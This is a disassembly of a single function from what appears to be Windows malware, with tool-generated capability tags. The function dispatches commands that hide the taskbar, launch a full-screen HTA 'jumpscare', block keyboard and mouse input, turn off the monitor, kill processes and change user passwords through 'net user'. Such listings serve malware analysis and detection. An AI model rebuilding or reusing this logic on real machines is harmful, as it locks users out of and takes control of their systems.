Function at 0x10033470
Capabilities:
Create process on windows
Create thread
Enumerate gui resources
Enumerate processes
Find taskbar
Log keystrokes via application hook
Power down monitor
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2fc
mov eax, dword [0x101a49d4]
xor eax, esp
mov dword [esp + 0x2f8], eax
push ebx
push esi
mov esi, dword [ebp + 8]
add esi, 0x18
push edi
mov ecx, esi
mov ebx, dword [esi + 0x14]
mov edi, dword [esi + 0x10]
cmp ebx, 8
jb 0x100334a2
mov ecx, dword [esi]
cmp edi, 7
jne 0x10033512
push edi
mov edx, str.taskbar
call fcn.10056450
add esp, 4
test eax, eax
jne 0x10033512
push eax
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowW]
mov esi, eax
test esi, esi
je 0x10033ada
mov ecx, dword [ebp + 8]
add ecx, 0x30
cmp dword [ecx + 0x14], 8
mov eax, dword [ecx + 0x10]
jb 0x100334e0
mov ecx, dword [ecx]
cmp eax, 1
jne 0x10033504
push eax
mov edx, 0x1018f934
call fcn.10056450
add esp, 4
test eax, eax
jne 0x10033504
push eax
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x10033ada
push 5
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x10033ada
mov ecx, esi
cmp ebx, 8
jb 0x1003351b
mov ecx, dword [esi]
cmp edi, 7
jne 0x1003357e
push edi
mov edx, 0x1018f938
call fcn.10056450
add esp, 4
test eax, eax
jne 0x1003357e
mov ecx, dword [ebp + 8]
add ecx, 0x30
cmp dword [ecx + 0x14], 8
mov eax, dword [ecx + 0x10]
jb 0x10033543
mov ecx, dword [ecx]
cmp eax, 1
jne 0x1003356c
push eax
mov edx, 0x1018f934
call fcn.10056450
add esp, 4
test eax, eax
jne 0x1003356c
push 1
push 0x10033280
call dword [sym.imp.USER32.dll_EnumWindows]
jmp 0x10033ada
push 0
push 0x10033280
call dword [sym.imp.USER32.dll_EnumWindows]
jmp 0x10033ada
mov ecx, esi
cmp ebx, 8
jb 0x10033587
mov ecx, dword [esi]
cmp edi, 4
jne 0x100335f8
push edi
mov edx, str.icon
call fcn.10056450
add esp, 4
test eax, eax
jne 0x100335f8
mov ecx, dword [ebp + 8]
add ecx, 0x30
cmp dword [ecx + 0x14], 8
mov eax, dword [ecx + 0x10]
jb 0x100335af
mov ecx, dword [ecx]
cmp eax, 1
jne 0x100335df
push eax
mov edx, 0x1018f934
call fcn.10056450
add esp, 4
test eax, eax
jne 0x100335df
push 1
push 0x10033360
mov byte [0x101ab1d6], 1
call dword [sym.imp.USER32.dll_EnumWindows]
jmp 0x10033ada
push 0
push 0x10033360
mov byte [0x101ab1d6], 0
call dword [sym.imp.USER32.dll_EnumWindows]
jmp 0x10033ada
mov ecx, esi
cmp ebx, 8
jb 0x10033601
mov ecx, dword [esi]
cmp edi, 9
jne 0x10033ba2
push edi
mov edx, str.jumpscare
call fcn.10056450
add esp, 4
test eax, eax
jne 0x10033ba2
mov ebx, dword [ebp + 8]
cmp dword [ebx + 0x44], 8
lea ecx, [ebx + 0x30]
mov eax, dword [ecx + 0x10]
jb 0x10033631
mov ecx, dword [ecx]
cmp eax, 1
jne 0x100338e8
push eax
mov edx, 0x1018f934
call fcn.10056450
add esp, 4
test eax, eax
jne 0x100338e8
mov ecx, dword [ebx + 0x58]
add ebx, 0x48
mov edi, 0x7ffffffe
mov eax, edi
sub eax, ecx
cmp eax, 0xd8
jb 0x100340b4
cmp dword [ebx + 0x14], 8
jb 0x10033672
mov ebx, dword [ebx]
push ecx
push ebx
push 0xd8
push str._HTA:APPLICATION_IDoHTA_APPLICATIONNAMESystem_CAPTIONno_ICON_EXITBUTTONno_MAXIMIZEBUTTONno_MINIMIZEBUTTONno_SHOWINTASKBARno_SINGLEINSTANCEyes_SYSMENUno_WINDOWSTATEmaximize___img_src
push ecx
push dword [esp + 0x9c]
lea ecx, [esp + 0xb8]
call fcn.1005dba0
push 0x25
push str._stylewidth:_100___height:_100___
lea ecx, [esp + 0xa8]
call fcn.100520e0
mov esi, eax
mov dword [esp + 0x58], 0
push 0x18
lea eax, [esp + 0x5c]
mov dword [esp + 0x6c], 0
push esi
push eax
mov dword [esp + 0x78], 0
call fcn.1011b630
xor eax, eax
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
add esp, 0xc
mov word [esi], ax
mov edx, dword [esp + 0xb4]
cmp edx, 8
jb 0x10033724
mov ecx, dword [esp + 0xa0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1003371a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100340b9
push edx
push ecx
call fcn.1011a823
add esp, 8
mov ecx, dword [esp + 0x68]
sub edi, ecx
cmp edi, 0x25
jb 0x100340be
cmp dword [esp + 0x6c], 8
lea eax, [esp + 0x58]
push ecx
cmovae eax, dword [esp + 0x5c]
push eax
push 0x25
push 0x1018fb80
push ecx
push dword [esp + 0x9c]
lea ecx, [esp + 0xb8]
call fcn.1005dba0
push 1
push 0x1018fb7c
lea ecx, [esp + 0xa8]
call fcn.100520e0
mov esi, eax
mov dword [esp + 0x70], 0
push 0x18
lea eax, [esp + 0x74]
mov dword [esp + 0x84], 0
push esi
push eax
mov dword [esp + 0x90], 0
call fcn.1011b630
xor eax, eax
mov dword [esi + 0x10], 0
add esp, 0xc
mov word [esi], ax
lea eax, [esp + 0x70]
mov dword [esi + 0x14], 7
lea ecx, [esp + 0x58]
push eax
call fcn.100522e0
mov edx, dword [esp + 0x84]
cmp edx, 8
jb 0x10033801
mov ecx, dword [esp + 0x70]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100337f7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100340c3
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [esp + 0xb4]
xor eax, eax
mov dword [esp + 0x80], 0
mov dword [esp + 0x84], 7
mov word [esp + 0x70], ax
cmp edx, 8
jb 0x10033860
mov ecx, dword [esp + 0xa0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10033856
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100340c3
push edx
push ecx
call fcn.1011a823
add esp, 8
cmp dword [esp + 0x6c], 8
lea eax, [esp + 0x14]
push 0x40
push 0
lea esi, [esp + 0x60]
mov dword [esp + 0x18], 0x44
cmovae esi, dword [esp + 0x60]
push eax
call fcn.1011ce00
add esp, 0xc
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x14]
push eax
push 0
push 0
push 0x10
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, dword [esp + 0x6c]
cmp edx, 8
jb 0x10033ada
mov ecx, dword [esp + 0x58]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10034025
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100340c8
jmp 0x10034025
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea ecx, [esp + 0xd0]
mov dword [esp + 0xc], eax
push ecx
push eax
mov dword [esp + 0xd8], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x10033a9d
nop dword [eax + eax]
lea ecx, [esp + 0xf4]
mov dword [esp + 0x58], 0
mov dword [esp + 0x68], 0
lea edx, [ecx + 2]
mov dword [esp + 0x6c], 7
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10033942
sub ecx, edx
lea eax, [esp + 0xf4]
sar ecx, 1
push ecx
push eax
lea ecx, [esp + 0x60]
call fcn.10051fd0
mov ebx, dword [esp + 0x6c]
lea ecx, [esp + 0x58]
mov esi, dword [esp + 0x58]
lea edx, [esp + 0x58]
mov eax, dword [esp + 0x68]
cmp ebx, 8
cmovae ecx, esi
cmovae edx, esi
xor edi, edi
mov dword [esp + 0x70], edi
mov dword [esp + 0x80], edi
lea eax, [ecx + eax*2]
mov ecx, 7
mov dword [esp + 0x84], ecx
cmp edx, eax
je 0x100339c2
sub eax, edx
lea ecx, [esp + 0x70]
sar eax, 1
push eax
push edx
call fcn.10051fd0
mov ebx, dword [esp + 0x6c]
mov esi, dword [esp + 0x58]
mov edi, dword [esp + 0x70]
mov ecx, dword [esp + 0x84]
cmp ecx, 8
lea eax, [esp + 0x70]
cmovae eax, edi
cmp dword [esp + 0x80], 9
jne 0x100339f6
push 9
mov edx, str.mshta.exe
mov ecx, eax
call fcn.10056450
add esp, 4
test eax, eax
je 0x10033af7
mov ecx, dword [esp + 0x84]
cmp ecx, 8
jb 0x10033a32
lea ecx, [ecx*2 + 2]
mov eax, edi
cmp ecx, 0x1000
jb 0x10033a20
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100340b9
push ecx
push edi
call fcn.1011a823
mov ebx, dword [esp + 0x74]
add esp, 8
mov esi, dword [esp + 0x58]
xor eax, eax
mov dword [esp + 0x80], 0
mov dword [esp + 0x84], 7
mov word [esp + 0x70], ax
cmp ebx, 8
jb 0x10033a83
lea ebx, [ebx*2 + 2]
mov eax, esi
cmp ebx, 0x1000
jb 0x10033a79
mov esi, dword [esi - 4]
add ebx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100340b9
push ebx
push esi
call fcn.1011a823
add esp, 8
lea eax, [esp + 0xd0]
push eax
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x10033920
mov eax, dword [esp + 0x88]
mov dword [esp + 0x88], eax
push dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0x88]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x10033ada
push edi
call esi
lea ecx, [ebp + 8]
call fcn.10055820
mov ecx, dword [esp + 0x304]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0xd8]
mov dword [esp + 0x88], eax
mov eax, dword [esp + 0x84]
cmp eax, 8
jb 0x10033b48
lea ecx, [eax*2 + 2]
mov eax, edi
cmp ecx, 0x1000
jb 0x10033b36
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100340b9
push ecx
push edi
call fcn.1011a823
mov ebx, dword [esp + 0x74]
add esp, 8
mov esi, dword [esp + 0x58]
xor eax, eax
mov dword [esp + 0x80], 0
mov dword [esp + 0x84], 7
mov word [esp + 0x70], ax
cmp ebx, 8
jb 0x10033aab
lea ebx, [ebx*2 + 2]
mov eax, esi
cmp ebx, 0x1000
jb 0x10033b93
mov esi, dword [esi - 4]
add ebx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100340b9
push ebx
push esi
call fcn.1011a823
add esp, 8
jmp 0x10033aab
mov ecx, esi
cmp ebx, 8
jb 0x10033bab
mov ecx, dword [esi]
cmp edi, 0x10
jne 0x10033c40
push edi
mov edx, str.blockinteraction
call fcn.10056450
add esp, 4
test eax, eax
jne 0x10033c40
mov ecx, dword [ebp + 8]
add ecx, 0x30
cmp dword [ecx + 0x14], 8
mov eax, dword [ecx + 0x10]
jb 0x10033bd7
mov ecx, dword [ecx]
cmp eax, 1
jne 0x10033c27
push eax
mov edx, 0x1018f934
call fcn.10056450
add esp, 4
test eax, eax
jne 0x10033c27
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
push eax
call edi
mov esi, dword [sym.imp.USER32.dll_SetWindowsHookExW]
push eax
push 0x10033170
push 0xd
call esi
push 0
push 0
mov dword [0x101ab1d0], eax
call edi
push eax
push 0x10033170
push 0xe
call esi
mov dword [0x101ab1b4], eax
jmp 0x10033ada
push dword [0x101ab1b4]
mov esi, dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
call esi
push dword [0x101ab1d0]
jmp 0x10033ad8
mov ecx, esi
cmp ebx, 8
jb 0x10033c49
mov ecx, dword [esi]
cmp edi, 5
jne 0x10033c64
push edi
mov edx, str.sound
call fcn.10056450
add esp, 4
test eax, eax
je 0x10033ada
mov ecx, esi
cmp ebx, 8
jb 0x10033c6d
mov ecx, dword [esi]
cmp edi, 7
jne 0x10033d7a
push edi
mov edx, str.lockout
call fcn.10056450
add esp, 4
test eax, eax
jne 0x10033d7a
mov ecx, dword [ebp + 8]
add ecx, 0x30
cmp dword [ecx + 0x14], 8
mov eax, dword [ecx + 0x10]
jb 0x10033c9d
mov ecx, dword [ecx]
cmp eax, 1
jne 0x10033d4f
push eax
mov edx, 0x1018f934
call fcn.10056450
add esp, 4
test eax, eax
jne 0x10033d4f
cmp byte [0x101abc43], al
jne 0x10033ada
push 1
mov byte [0x101abc43], 1
call dword [sym.imp.USER32.dll_BlockInput]
push 2
push 0xf170
push 0x112
push 0xffff
call dword [sym.imp.USER32.dll_SendMessageW]
push 4
call fcn.1011a4d9
add esp, 4
lea ecx, [esp + 0x8c]
mov dword [eax], 0x10033140
push ecx
push 0
push eax
push 0x100611e0
push 0
push 0
call fcn.10123c98
add esp, 0x18
mov dword [esp + 0x88], eax
test eax, eax
je 0x100340da
mov ecx, dword [esp + 0x8c]
test ecx, ecx
je 0x100340cd
push ecx
push eax
call fcn.10104ec1
add esp, 8
test eax, eax
jne 0x100340d4
jmp 0x10033ada
push 0
mov byte [0x101abc43], 0
call dword [sym.imp.USER32.dll_BlockInput]
push 0xffffffffffffffff
push 0xf170
push 0x112
push 0xffff
call dword [sym.imp.USER32.dll_SendMessageW]
jmp 0x10033ada
mov ecx, esi
cmp ebx, 8
jb 0x10033d83
mov ecx, dword [esi]
cmp edi, 0xa
jne 0x10033da4
push edi
mov edx, str.bootloader
call fcn.10056450
add esp, 4
test eax, eax
jne 0x10033da4
call fcn.100333f0
jmp 0x10033ada
mov ecx, esi
cmp ebx, 8
jb 0x10033dad
mov ecx, dword [esi]
cmp edi, 0xa
jne 0x10034034
push edi
mov edx, str.changepass
call fcn.10056450
add esp, 4
test eax, eax
jne 0x10034034
mov edx, dword [ebp + 8]
add edx, 0x60
cmp dword [edx + 0x14], 8
jb 0x10033de2
mov esi, dword [edx]
mov ecx, dword [edx + 0x10]
lea eax, [esi + ecx*2]
jmp 0x10033dea
mov eax, dword [edx + 0x10]
mov esi, edx
lea eax, [edx + eax*2]
push ecx
push eax
push esi
lea ecx, [esp + 0xc4]
call fcn.10059e90
mov ecx, dword [ebp + 8]
mov edi, eax
cmp dword [ecx + 0x5c], 8
lea edx, [ecx + 0x48]
jb 0x10033e11
mov esi, dword [edx]
mov ecx, dword [edx + 0x10]
lea eax, [esi + ecx*2]
jmp 0x10033e19
mov eax, dword [edx + 0x10]
mov esi, edx
lea eax, [edx + eax*2]
push ecx
push eax
push esi
lea ecx, [esp + 0x94]
call fcn.10059e90
push eax
mov edx, str.net_user
lea ecx, [esp + 0x74]
call fcn.10059a70
add esp, 4
mov ecx, eax
push 0x1018fc50
call fcn.100529a0
mov esi, eax
mov dword [esp + 0x58], 0
push 0x18
lea eax, [esp + 0x5c]
mov dword [esp + 0x6c], 0
push esi
push eax
mov dword [esp + 0x78], 0
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
lea eax, [esp + 0x58]
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
lea ecx, [esp + 0xa0]
push edi
push eax
push dword [esp + 0x90]
call fcn.1005dc40
mov edx, dword [esp + 0x6c]
cmp edx, 0x10
jb 0x10033ed0
mov ecx, dword [esp + 0x58]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10033ec6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100340ec
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [esp + 0x84]
mov dword [esp + 0x68], 0
mov dword [esp + 0x6c], 0xf
mov byte [esp + 0x58], 0
cmp edx, 0x10
jb 0x10033f1e
mov ecx, dword [esp + 0x70]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10033f14
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100340ec
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [esp + 0x9c]
mov dword [esp + 0x80], 0
mov dword [esp + 0x84], 0xf
mov byte [esp + 0x70], 0
cmp edx, 0x10
jb 0x10033f75
mov ecx, dword [esp + 0x88]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10033f6b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100340ec
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [esp + 0xcc]
mov dword [esp + 0x98], 0
mov dword [esp + 0x9c], 0xf
mov byte [esp + 0x88], 0
cmp edx, 0x10
jb 0x10033fcf
mov ecx, dword [esp + 0xb8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10033fc5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100340ec
push edx
push ecx
call fcn.1011a823
add esp, 8
cmp dword [esp + 0xb4], 0x10
lea eax, [esp + 0xa0]
cmovae eax, dword [esp + 0xa0]
push eax
call fcn.1012453c
mov edx, dword [esp + 0xb8]
add esp, 4
cmp edx, 0x10
jb 0x10033ada
mov ecx, dword [esp + 0xa0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10034025
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100340f1
push edx
push ecx
call fcn.1011a823
add esp, 8
jmp 0x10033ada
cmp ebx, 8
jb 0x1003403b
mov esi, dword [esi]
cmp edi, 4
jne 0x10033ada
push edi
mov edx, str.bomb
mov ecx, esi
call fcn.10056450
add esp, 4
test eax, eax
jne 0x10033ada
push edi
call fcn.1011a4d9
add esp, 4
lea ecx, [esp + 0x8c]
mov dword [eax], 0x100331a0
push ecx
push 0
push eax
push 0x100611e0
push 0
push 0
call fcn.10123c98
add esp, 0x18
mov dword [esp + 0x88], eax
test eax, eax
je 0x100340a2
mov ecx, dword [esp + 0x8c]
test ecx, ecx
je 0x100340f6
jmp 0x10033d38
push 6
mov dword [esp + 0x90], 0
call fcn.1010535e
call fcn.10021260
call fcn.10125fc5
call fcn.10021260
call fcn.10125fc5
call fcn.10125fc5
push 1
call fcn.1010535e
push eax
call fcn.10105331
push 6
mov dword [esp + 0x90], 0
call fcn.1010535e
call fcn.10125fc5
call fcn.10125fc5
push 1
call fcn.1010535e
int3